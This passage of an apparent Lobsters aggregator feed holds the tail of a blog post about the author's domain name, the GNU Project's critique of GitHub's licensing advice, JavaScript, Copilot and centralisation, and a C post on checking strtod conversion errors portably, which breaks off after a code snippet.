&lt;p&gt;Domain names are a strange system. They’re temporary URIs that are leased and inevitably lost. I’ve spent half my life publishing content on &lt;code&gt;dbushell.com&lt;/code&gt;. I started using it seriously once I had a design portfolio. If you’re curious you can see past versions at:&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://legacy.dbushell.com/&quot;&gt;legacy.dbushell.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In hindsight if I knew I was going to build a career around my website I’d have chosen something more memorable. Imagine all the common words that were still untouched in 2004? &lt;code&gt;dave.co.uk&lt;/code&gt; wasn’t taken until 2005! I don’t actually go by “Dave” myself but like the “D-Bus” thing it’s not my choice to make.&lt;/p&gt;
&lt;p&gt;For a brief moment I did consider moving to another domain. I would have had to maintain redirects forever. It’s not a sensible “SEO” manoeuvre either, if that matters anymore…&lt;/p&gt;
&lt;p&gt;Now that I’m running my business from &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://valleyfold.co.uk/&quot;&gt;valleyfold.co.uk&lt;/a&gt; I’m happy I stuck with &lt;code&gt;dbushell.com&lt;/code&gt; for my personal space.&lt;/p&gt;
&lt;p&gt;Anyway, next time you spot the “D-Bus” comment please direct them there!&lt;/p&gt;
&lt;p&gt;Better yet, take up this blog challenge: write about the etymology behind your name and domain name.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:8f5ee37d1c283ca787c20469706152432fa53883</id>
    <title type="text">I&#39;m still around.. I&#39;m just not writing here</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-11-i-m-still-around-i-m-just-not-writing-here/"/>
    <link rel="via" type="text/html" href="https://rachelbythebay.com/w/2026/10/08/idle/"/>
    <published>2026-10-11T14:44:03+00:00</published>
    <updated>2026-10-11T14:44:03+00:00</updated>
    <author>
      <name>rachelbythebay.com via jcd</name>
    </author>
    <category term="news"/>
    <category term="culture"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/s/4ehrkn/i_m_still_around_i_m_just_not_writing_here&quot;&gt;Comments&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:db69e7be4708617acd60586e2360986363c8f86a</id>
    <title type="text">What&#39;s Wrong with GitHub</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-11-what-s-wrong-with-github/"/>
    <link rel="via" type="text/html" href="https://www.gnu.org/philosophy/whats-wrong-with-github.html"/>
    <published>2026-10-11T09:37:56+00:00</published>
    <updated>2026-10-11T09:37:56+00:00</updated>
    <author>
      <name>gnu.org via tusharhero</name>
    </author>
    <category term="news"/>
    <category term="vcs"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Software developers, the GNU Project urges you to avoid hosting your repositories on GitHub. This is to avoid being on the receiving end of harmful practices, and avoid leading others to be victims too. This article focuses on a few of GitHub&#39;s worst problems, and the wrongs and harm they can do: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/whats-wrong-with-github.html#bad-licensing&quot;&gt;(1)&lt;/a&gt; GitHub promotes vague and confusing licensing practices; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/whats-wrong-with-github.html#nonfree-js&quot;&gt;(2)&lt;/a&gt; it demands that visitors run nonfree JavaScript for most operations; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/whats-wrong-with-github.html#saass&quot;&gt;(3)&lt;/a&gt; some of the “services” it offers are actually SaaSS (Service as a Software Substitute) dis-services; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/whats-wrong-with-github.html#centralizing-git&quot;&gt;(4)&lt;/a&gt; it attempts to subvert the distributed architecture of Git.&lt;/p&gt;
&lt;p&gt;While Git is free software, GitHub is not software at all. It is a website that provides a range of features, from a simple repository-hosting service to a variety of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/who-does-that-server-really-serve.html&quot;&gt;SaaSS&lt;/a&gt; dis-services. The sheer variety of features GitHub offers makes writing a fair critique of the site difficult, because each one calls for an evaluation on moral grounds—both for the job it does, and for the implementation of that job.&lt;/p&gt;
&lt;p&gt;This article focuses on a few of GitHub&#39;s worst problems, beginning with an area where GitHub has shown at least some improvement over the years, mentioning the website&#39;s near-uselessness for users who refuse the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/javascript-trap.html&quot;&gt;JavaScript Trap&lt;/a&gt; and the SaaSS “AI” &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-1&quot; id=&quot;fnref-1&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt; dis-services, and ending on GitHub&#39;s model of being a central hub in a distributed system.&lt;/p&gt;
&lt;p&gt;GitHub seems to operate as much like a walled garden as it can without outright breaking compatibility with Git. Because Git is free software, GitHub cannot forcibly &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/proprietary/proprietary-tethers.html&quot;&gt;tether&lt;/a&gt; Git to itself, but it can bait users to adopt workflows that nonetheless tie the users to GitHub.&lt;/p&gt;
&lt;p&gt;Sometimes the worst handcuffs are not iron, but silk. GitHub offers convenience in centralization, and this makes little frictions insidious: one-click merge only works from a pull request, which can only be made from a “fork” hosted on GitHub; links to GitHub accounts replace email addresses in the web UI; continuous integration runs on GitHub servers by default. Little by little, the Internet-spanning plains of Git become the walled garden of GitHub.&lt;/p&gt;
&lt;p&gt;The full solution to the problems caused by hosting your package on GitHub is to host your package on a site that &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/software/repo-criteria-evaluation.html&quot;&gt;doesn&#39;t have those problems&lt;/a&gt;. But if you can&#39;t do that right away, at least publish an email address in your README so people who don&#39;t use GitHub can communicate with you about your program, host the web pages about using your program on a website that doesn&#39;t require nonfree software to read those pages, and always refer to the web pages there.&lt;/p&gt;
&lt;h3&gt;Promotion of Vague and Unclear Licensing Practices&lt;/h3&gt;
&lt;p&gt;When GitHub first began offering repository hosting in early 2008, it was completely silent on the matter of properly licensing free software, and this silence led to a proliferation of public repositories with no declared license whatsoever. In 2013, GitHub set up a “&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://choosealicense.com/&quot;&gt;Choose a License&lt;/a&gt;” site to help users select free licenses for new software.&lt;/p&gt;
&lt;p&gt;As of this writing in 2026, that site gives ill-advised advice for the application of the GPL, stating that merely copying the text of the license into a file in a repository is sufficient.&lt;/p&gt;
&lt;p&gt;The FSF&#39;s lawyers recommend to us, and in turn we recommend to developers, to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/licenses/gpl-howto.html#why-license-notices&quot;&gt;put a license notice in each substantive file&lt;/a&gt;, to ensure that users are aware of their rights and obligations under the GPL. GitHub mentions this only as an “optional step.”&lt;/p&gt;
&lt;p&gt;Without the standard GPL notice, there is nothing to say whether the program is licensed under GPL version N only, or under &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/licenses/identify-licenses-clearly.html&quot;&gt;GPL version N-or-later&lt;/a&gt;. GitHub mentions this only in an aside about SPDX license identifiers.&lt;/p&gt;
&lt;h3&gt;Extensive Use of Nonfree JavaScript&lt;/h3&gt;
&lt;p&gt;GitHub&#39;s website sends lots of JavaScript code to the browser, and much of that code is nonfree. Because the site fails to gracefully degrade, users who refuse the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/javascript-trap.html&quot;&gt;JavaScript Trap&lt;/a&gt; find that any interaction beyond simply viewing repositories is impossible, and even many of the file-viewing links no longer work.&lt;/p&gt;
&lt;p&gt;There are workarounds for this. The standard free Git command-line tools can clone repositories from GitHub, and there is a public REST API and free command-line tool that can handle at least some interaction with the site.&lt;/p&gt;
&lt;p&gt;However, the command-line tool GitHub provides for that REST API, while technically free software under &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/licenses/license-list.html#Expat&quot;&gt;Expat license terms&lt;/a&gt;, nonetheless cannot be recommended because GitHub has decided to add spyware features in the form of “telemetry” to it. This is exceptionally ridiculous, because the tool&#39;s main purpose is to use a web-based API; GitHub could obtain usage information from their own server logs rather than from users&#39; computers.&lt;/p&gt;
&lt;h3&gt;GitHub Copilot is SaaSS&lt;/h3&gt;
&lt;p&gt;GitHub started a controversy with the introduction of “GitHub Copilot” that has only grown with the capabilities of the tool. GitHub Copilot began as an “AI” &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-1&quot; id=&quot;fnref-1-2&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt; code-completion tool, with an early demonstration of producing the body of a function given only its header comment, and has grown into an “AI” “agent” claimed to be able to function as a development team member.&lt;/p&gt;
&lt;p&gt;Copilot has always been controversial. The initial code-completion tool used a model that had been trained on a wide variety of code, under a wide variety of licenses, and was quickly found to be able to reproduce lengthy sections of well-known text verbatim, including the preamble of the GNU General Public License and the Zen of Python. This ability to regurgitate its training material has led to doubts about the legal status of code suggested by Copilot. GitHub offers indemnification to higher-tier Copilot subscribers, although it remains unclear how indemnity would work if the demand were to be GPL compliance rather than money.&lt;/p&gt;
&lt;p&gt;Later expansions of Copilot&#39;s capabilities have brought more controversy. GitHub added a “feature” allowing users to have Copilot write a bug report, which is then submitted as an issue with minimal indication that Copilot was used to generate it. These Copilot-assisted issues have been drowning maintainers of projects on GitHub in slop when users fail to proofread their issues and correct Copilot&#39;s errors. GitHub, of course, refuses to allow maintainers to block Copilot-generated issues from being submitted.&lt;/p&gt;
&lt;p&gt;The legal risks of using LLM code suggestions and the social harms of burying maintainers in slop are universal, applying even to free models run locally, but what GitHub does is bad in another way: Copilot is &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/who-does-that-server-really-serve.html&quot;&gt;SaaSS&lt;/a&gt;, and its models run on remote servers where users have no control over them. This has produced some of the usual SaaSS abuses: forced “upgrades” that users find to be inferior to the previous versions, and price increases at the whim of the vendor.&lt;/p&gt;
&lt;p&gt;Copilot subscriptions originally provided access to basic features (mostly the code suggestions) and a certain number of “premium requests” (other interactions and more complex agentic tasks) each month. In early 2026, GitHub announced a policy change: all subscriptions would be forced to move to a token-based billing model that charges for the actual computing resources used, which is only loosely under the user&#39;s control. GitHub could impose this change on users because Copilot is SaaSS.&lt;/p&gt;
&lt;h3&gt;Centralizing Git&lt;/h3&gt;
&lt;p&gt;The above practices are directly inimical to software freedom, but GitHub also undermines the community in deeper, long-term ways that are less immediately evident.&lt;/p&gt;
&lt;p&gt;Git was designed as a distributed version-control system, with no central points-of-failure anywhere in its architecture. This decision was in part simply making Git as different as possible from CVS, in part a reflection of the bazaar development process around the kernel Linux, and possibly in part a lesson learned from the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/mcvoy.html&quot;&gt;BitKeeper fiasco&lt;/a&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-2&quot; id=&quot;fnref-2&quot; data-footnote-ref&gt;2&lt;/a&gt;&lt;/sup&gt;. GitHub seeks to reintroduce elements of centralization that Torvalds explicitly rejected when designing Git, and then encourages users to build workflows around that centralization.&lt;/p&gt;
&lt;h4&gt;GitHub “Achievements”&lt;/h4&gt;
&lt;p&gt;GitHub has a system of profile badges that can be earned by various activities on the site, analogous to achievements in newer video games. In fact, they are called “achievements” in the documentation. This system is another example of gamification where software (or “services”) attempt to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/proprietary/proprietary-addictions.html&quot;&gt;addict users&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Of course, most of GitHub&#39;s “achievements” only recognize activities associated with the site, a nudge to increase users&#39; dependency upon GitHub.&lt;/p&gt;
&lt;h4&gt;Mixed User/Organization Model&lt;/h4&gt;
&lt;p&gt;GitHub started with a simple premise of providing Git repository hosting. Aligned with this, GitHub organizes repositories under user accounts, and allows all users to make repositories. This is a simple bulletin-board model where users can freely publish their own versions of free packages, and submit changes upstream by asking package maintainers to pull from their copies. This is how Git was designed to work, and this early form of GitHub made that workflow accessible to users lacking the skills or resources to set up their own Git servers.&lt;/p&gt;
&lt;p&gt;The problem with a bulletin-board model is that it can make locating a canonical version of a package needlessly difficult, in contrast to traditional forges organized around projects with designated maintainers. Designating a maintainer at a forge can be as anarchic as “whoever registers it first,” as carefully managed as the GNU Project, or anywhere in between.&lt;/p&gt;
&lt;p&gt;This was not a problem for Linux because Linus&#39; repository is widely known to be the central canonical reference in that project. Remember that Git was originally designed specifically to support developing the kernel Linux. Its usefulness elsewhere was a bonus.&lt;/p&gt;
&lt;p&gt;There is also a problem inherent to Git&#39;s distributed model that GitHub makes worse: the bulletin-board model leads to a proliferation of forks, since even the simplest patch must be prepared by first cloning the repository, thereby creating a fork of the package. These forks are often unmaintained or even abandoned after their original purpose is served.&lt;/p&gt;
&lt;p&gt;The opportunities for confusion led to a tendency to create “organization” accounts at GitHub, a practice now explicitly supported. However, for historical reasons, organizations and users share the same namespace at GitHub, and this leaves considerable room for confusion, made worse by…&lt;/p&gt;
&lt;h4&gt;GitHub&#39;s Centralized Fork/Pull-Request Workflow&lt;/h4&gt;
&lt;p&gt;While Git was originally designed to support this model of distributed development, GitHub insidiously inserts itself in the middle. Git allows the mirror from which a pull is drawn to be anywhere on the Internet, but GitHub only supports pulling from… GitHub. While it &lt;em&gt;is&lt;/em&gt; possible to use Git to pull from elsewhere, perform a merge locally, and push to GitHub, GitHub carefully creates a path of least resistance entirely dependent on GitHub.&lt;/p&gt;
&lt;p&gt;There is no technical reason why GitHub could not allow pull requests to reference remote Git servers, or even accept pull requests referencing remote servers by email, which is the traditional “Git way” of handling them. GitHub chooses to tie GitHub pull requests exclusively to itself.&lt;/p&gt;
&lt;p&gt;GitHub further worsens these problems with its concept of “forks,” distinct from Git&#39;s basic feature of cloned repositories. GitHub displays the number of forks of a repository as a sort of popularity-contest badge, and implements forks in a way that renders repositories at GitHub questionably trustworthy, as material that appears only in a fork can nonetheless be retrieved using the parent repository&#39;s URL, enabling malicious parties to confuse users.&lt;/p&gt;
&lt;h4&gt;GitHub Actions&lt;/h4&gt;
&lt;p&gt;GitHub offers a modular automated workflow system called GitHub Actions, another way to make your package dependent on GitHub. GitHub Actions can be used to run arbitrary scripts in response to commits or pull requests. The scripts by default run on GitHub&#39;s virtual servers, although repository owners can specify to run their scripts on their own servers.&lt;/p&gt;
&lt;p&gt;While repository owners can self-host runners for their own actions, the standard runner, despite being free software, nonetheless contains a universal backdoor in the form of an automatic update feature, and depends on SaaSS infrastructure controlled by GitHub to tell it what to run.&lt;/p&gt;
&lt;p&gt;GitHub&#39;s action-dispatch infrastructure makes some attempt to enforce the universal backdoor by refusing to dispatch actions to runners that it considers to be running out-of-date software.&lt;/p&gt;
&lt;p&gt;While the dispatch infrastructure that coordinates running actions is SaaSS, the actions themselves are not SaaSS because users control which actions are run. Even though some actions are nonfree, repository owners can simply refuse to attach nonfree actions to their repositories.&lt;/p&gt;
&lt;p&gt;GitHub Actions can be used to build very complex automated workflows, ensnaring users deeper into GitHub&#39;s web, but there is a free tool available that can help users break out of this trap. Published at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nektosact.com&quot;&gt;nektosact.com&lt;/a&gt;, the &lt;code&gt;act&lt;/code&gt; program is free software that can run workflows using GitHub Actions locally on demand without depending on GitHub&#39;s infrastructure.&lt;/p&gt;
&lt;h4&gt;GitHub&#39;s Communications Vacuum&lt;/h4&gt;
&lt;p&gt;GitHub attempts to draw in and centralize as much of the community around a package as possible. While any software forge can be expected to offer trackers for bugs, issues, patches, etc., and to require an account at the site to participate in those web-based discussions, previous forges such as SourceForge and GNU Savannah also offer mailing lists to facilitate collaboration by email with minimal interaction with the forge itself.&lt;/p&gt;
&lt;p&gt;Git was designed to support the Internet-spanning development project that maintains the kernel Linux. Therefore, Git needs a concept of user identity that also spans the Internet, and the Git developers found a simple solution: email addresses, including an optional name.&lt;/p&gt;
&lt;p&gt;This was an obvious choice for another reason: development of the kernel Linux is primarily coordinated using mailing lists. That project has its own mailing list infrastructure, and Git was also originally designed to facilitate processing patches exchanged by email.&lt;/p&gt;
&lt;p&gt;GitHub evidently disagrees with these design decisions, because it not only fails to provide mailing lists, but also absolutely refuses to display email addresses in its main web UI. If a commit has an email address associated with a GitHub account, a link to that account is shown, otherwise only a name is shown with no link at all.&lt;/p&gt;
&lt;p&gt;One of the moral principles of the free software movement is that the barriers to users becoming developers themselves should be minimal and only technical (and those are acceptable only because barriers such as requiring knowledge of programming fundamentally cannot be eliminated). Obscuring email addresses as GitHub does has the effect of isolating users from existing developers. The requirement to create an account at GitHub to participate in discussions is also a subtle social barrier to users who do not yet think of themselves as developers.&lt;/p&gt;
&lt;h3&gt;Footnotes&lt;/h3&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-1&quot;&gt;
&lt;p&gt;The term “AI” is placed in quotes because it has become a marketing term for “&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/philosophy/words-to-avoid.html#ArtificialIntelligence&quot;&gt;Artificial Intelligence&lt;/a&gt;” using LLMs, and while those systems are certainly artificial, they are far from intelligent. &lt;a href=&quot;#fnref-1&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#fnref-1-2&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1-2&quot; aria-label=&quot;Back to reference 1-2&quot;&gt;↩&lt;sup class=&quot;footnote-ref&quot;&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-2&quot;&gt;
&lt;p&gt;BitKeeper was a nonfree version control system used from 2002 to 2005 for developing the kernel, Linux, that is used in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.gnu.org/gnu/linux-and-gnu.html&quot;&gt;GNU/Linux&lt;/a&gt; operating system. &lt;a href=&quot;#fnref-2&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;2&quot; aria-label=&quot;Back to reference 2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:c78d940b0932c9345eb7771586abb8d2aa7752f8</id>
    <title type="text">oh, apparently it&#39;s not possible to portably check for string-to-float conversion errors in standard c</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-10-oh-apparently-it-s-not-possible-to-portably-check-for/"/>
    <link rel="via" type="text/html" href="https://sebsite.pw/w/20261009-strtod.html"/>
    <published>2026-10-10T05:37:18+00:00</published>
    <updated>2026-10-10T05:37:18+00:00</updated>
    <author>
      <name>sebsite.pw by seb</name>
    </author>
    <category term="news"/>
    <category term="c"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;this is kinda a sequel-ish to my &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sebsite.pw/w/20261004-math_errhandling.html&quot;&gt;previous post&lt;/a&gt;, in which i go over the &lt;code&gt;math_errhandling&lt;/code&gt; macro, and how math error handling is done in glibc and musl (as well as how it&#39;s specified in the standard).&lt;/p&gt;
&lt;p&gt;to summarize: &lt;code&gt;math_errhandling&lt;/code&gt; is a macro which indicates which error-handling mechanisms are supported by &lt;code&gt;math.h&lt;/code&gt; functions: &lt;code&gt;errno&lt;/code&gt; (&lt;code&gt;MATH_ERRNO&lt;/code&gt;) and/or floating-point exceptions (&lt;code&gt;MATH_ERREXCEPT&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;there&#39;s one thing i didn&#39;t mention in my previous post: there&#39;s one family of functions which is affected by &lt;code&gt;math_errhandling&lt;/code&gt; but which &lt;em&gt;isn&#39;t&lt;/em&gt; in &lt;code&gt;math.h&lt;/code&gt;: the string to float conversion functions &lt;code&gt;strtod&lt;/code&gt;, &lt;code&gt;strtof&lt;/code&gt;, &lt;code&gt;strtold&lt;/code&gt;, &lt;code&gt;strtod32&lt;/code&gt;, &lt;code&gt;strtod64&lt;/code&gt;, and &lt;code&gt;strtod128&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;7.25.2.6p12:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If the correct value overflows and default rounding is in effect (7.12.2), plus or minus &lt;code&gt;HUGE_VAL&lt;/code&gt;, &lt;code&gt;HUGE_VALF&lt;/code&gt;, or &lt;code&gt;HUGE_VALL&lt;/code&gt; is returned (according to the return type and sign of the value); if the integer expression &lt;code&gt;math_errhandling &amp;amp; MATH_ERRNO&lt;/code&gt; is nonzero, the integer expression &lt;code&gt;errno&lt;/code&gt; acquires the value of &lt;code&gt;ERANGE&lt;/code&gt;; if the integer expression &lt;code&gt;math_errhandling &amp;amp; MATH_ERREXCEPT&lt;/code&gt; is nonzero, the &amp;quot;overflow&amp;quot; floating-point exception is raised.&lt;/p&gt;
&lt;p&gt;If the result underflows (7.12.2), the functions return a value whose magnitude is no greater than the smallest normalized positive number in the return type; if the integer expression &lt;code&gt;math_errhandling &amp;amp; MATH_ERRNO&lt;/code&gt; is nonzero, whether &lt;code&gt;errno&lt;/code&gt; acquires the value &lt;code&gt;ERANGE&lt;/code&gt; is implementation-defined; if the integer expression &lt;code&gt;math_errhandling &amp;amp; MATH_ERREXCEPT&lt;/code&gt; is nonzero, whether the &amp;quot;underflow&amp;quot; floating-point exception is raised is implementation-defined.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;the linux man pages for these functions literally don&#39;t mention this &lt;em&gt;at all&lt;/em&gt;, and there actually is a reason why which i&#39;ll get to in a sec, but what the standard is saying is, if &lt;code&gt;math_errhandling&lt;/code&gt; doesn&#39;t advertise support for &lt;code&gt;errno&lt;/code&gt; (as is the case on musl, for instance), the string to float conversion functions &lt;strong&gt;don&#39;t set &lt;code&gt;errno&lt;/code&gt; on error&lt;/strong&gt;. furthermore, if the result underflows, the function &lt;strong&gt;isn&#39;t required to report an error at all&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;keep in mind that the return value alone isn&#39;t enough to determine if an error occurred, so to test for overflow, you &lt;em&gt;need&lt;/em&gt; to use one of the two error handling mechanisms.&lt;/p&gt;
&lt;p&gt;here is my attempt at a standards-blessed way of portably checking for overflow/underflow errors in the string to float functions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;feclearexcept(FE_OVERFLOW | FE_UNDERFLOW);
errno = 0;
double x = strtod(s, nullptr);
bool errored = math_errhandling &amp;amp; MATH_ERRNO
	? errno == ERANGE
	: fetestexcept(FE_OVERFLOW | FE_UNDERFLOW);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;note that this still doesn&#39;t guarantee that underflow is detected, since reporting underflow is entirely optional for the implementation.&lt;/p&gt;
&lt;p&gt;the reason you&#39;ve never done this ever (and the reason the man pages don&#39;t mention this) is that posix specifies the functions differently:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If the correct value is outside the range of representable values, ±HUGE_VAL, ±HUGE_VALF, or ±HUGE_VALL shall be returned (according to the sign of the value), and &lt;code&gt;errno&lt;/code&gt; shall be set to &lt;code&gt;[ERANGE]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If the correct value would cause an underflow, a value whose magnitude is no greater than the smallest normalized positive number in the return type shall be returned and &lt;code&gt;errno&lt;/code&gt; set to &lt;code&gt;[ERANGE]&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;so posix doesn&#39;t give a shit about &lt;code&gt;math_errhandling&lt;/code&gt;; it always requires the implementation to set &lt;code&gt;errno&lt;/code&gt; if overflow or underflow occurs. while it&#39;s not uncommon for posix to specify stricter requirements on functions than standard c, the fact that the man page never makes any note of this being an extension (neither &lt;code&gt;strtod(3)&lt;/code&gt; nor the posix specification &lt;code&gt;strtod(3p)&lt;/code&gt;) is really notable to me.&lt;/p&gt;
&lt;p&gt;whether or not posix&#39;s behavior is even compatible with standard c is... unclear. at least for &lt;code&gt;math.h&lt;/code&gt; functions, setting &lt;code&gt;errno&lt;/code&gt; regardless of the value of &lt;code&gt;math_errhandling&lt;/code&gt; is permitted:&lt;/p&gt;
&lt;p&gt;7.12.2p8:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If a domain, pole, or range error occurs and the integer expression &lt;code&gt;math_errhandling &amp;amp; MATH_ERRNO&lt;/code&gt; is zero, then &lt;code&gt;errno&lt;/code&gt; shall either be set to the value corresponding to the error or left unmodified.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;but earlier on, when specifying &lt;code&gt;errno.h&lt;/code&gt;, the standard says this:&lt;/p&gt;
&lt;p&gt;7.5p3:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[...] The value of &lt;code&gt;errno&lt;/code&gt; may be set to nonzero by a library function call whether or not there is an error, provided the use of &lt;code&gt;errno&lt;/code&gt; is not documented in the description of the function in this document.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;errno&lt;/code&gt; &lt;em&gt;is documented&lt;/em&gt; in the description for these functions, and that description makes no mention of setting &lt;code&gt;errno&lt;/code&gt; when &lt;code&gt;math_errhandling &amp;amp; MATH_ERRNO&lt;/code&gt; is zero. so that suggests that posix&#39;s behavior is non-conformant.&lt;/p&gt;
&lt;p&gt;but hang on! everything i&#39;ve talked about so far is only for overflow and underflow. but if the string is malformed and can&#39;t be parsed as a number, then the standard doesn&#39;t specify any error at all:&lt;/p&gt;
&lt;p&gt;7.25.2.6p11:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The functions return the converted value, if any. If no conversion could be performed, positive or unsigned zero is returned.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;instead, you&#39;re supposed to use the &lt;code&gt;endptr&lt;/code&gt; parameter, and check afterward if &lt;code&gt;endptr == nptr&lt;/code&gt; (i.e. the end pointer is the same as the start pointer, so no data was parsed):&lt;/p&gt;
&lt;p&gt;7.25.2.6p8:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If the subject sequence is empty or does not have the expected form, no conversion is performed; the value of &lt;code&gt;nptr&lt;/code&gt; is stored in the object pointed to by &lt;code&gt;endptr&lt;/code&gt;, provided that &lt;code&gt;endptr&lt;/code&gt; is not a null pointer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;the man page &lt;code&gt;strtod(3)&lt;/code&gt; says something similar:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If no conversion is performed, zero is returned and (unless &lt;code&gt;endptr&lt;/code&gt; is null) the value of &lt;code&gt;nptr&lt;/code&gt; is stored in the location referenced by &lt;code&gt;endptr&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;but check out what posix says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Upon successful completion, these functions shall return the converted value. If no conversion could be performed, 0 shall be returned, and &lt;code&gt;errno&lt;/code&gt; may be set to &lt;code&gt;[EINVAL]&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;the word &amp;quot;may&amp;quot; basically means that it&#39;s implementation-defined. but this is a big deal, because it&#39;s pretty common to check for errors by doing something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;errno = 0;
double x = strtod(s, nullptr);
if (errno != 0) {
	// ...
}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;strtod(3)&lt;/code&gt; suggests doing exactly this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Since 0 can be legitimately returned on both success and failure, the calling program should set &lt;code&gt;errno&lt;/code&gt; to 0 before the call, and then determine if an error occurred by checking whether &lt;code&gt;errno&lt;/code&gt; has a nonzero value after the call.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;but even for posix-compatible libcs, this isn&#39;t portable! different conforming libcs may behave differently if no conversion can be performed. in fact...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;errno = 0;
strtod(&amp;quot;x&amp;quot;, nullptr);
printf(&amp;quot;%d\n&amp;quot;, errno);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
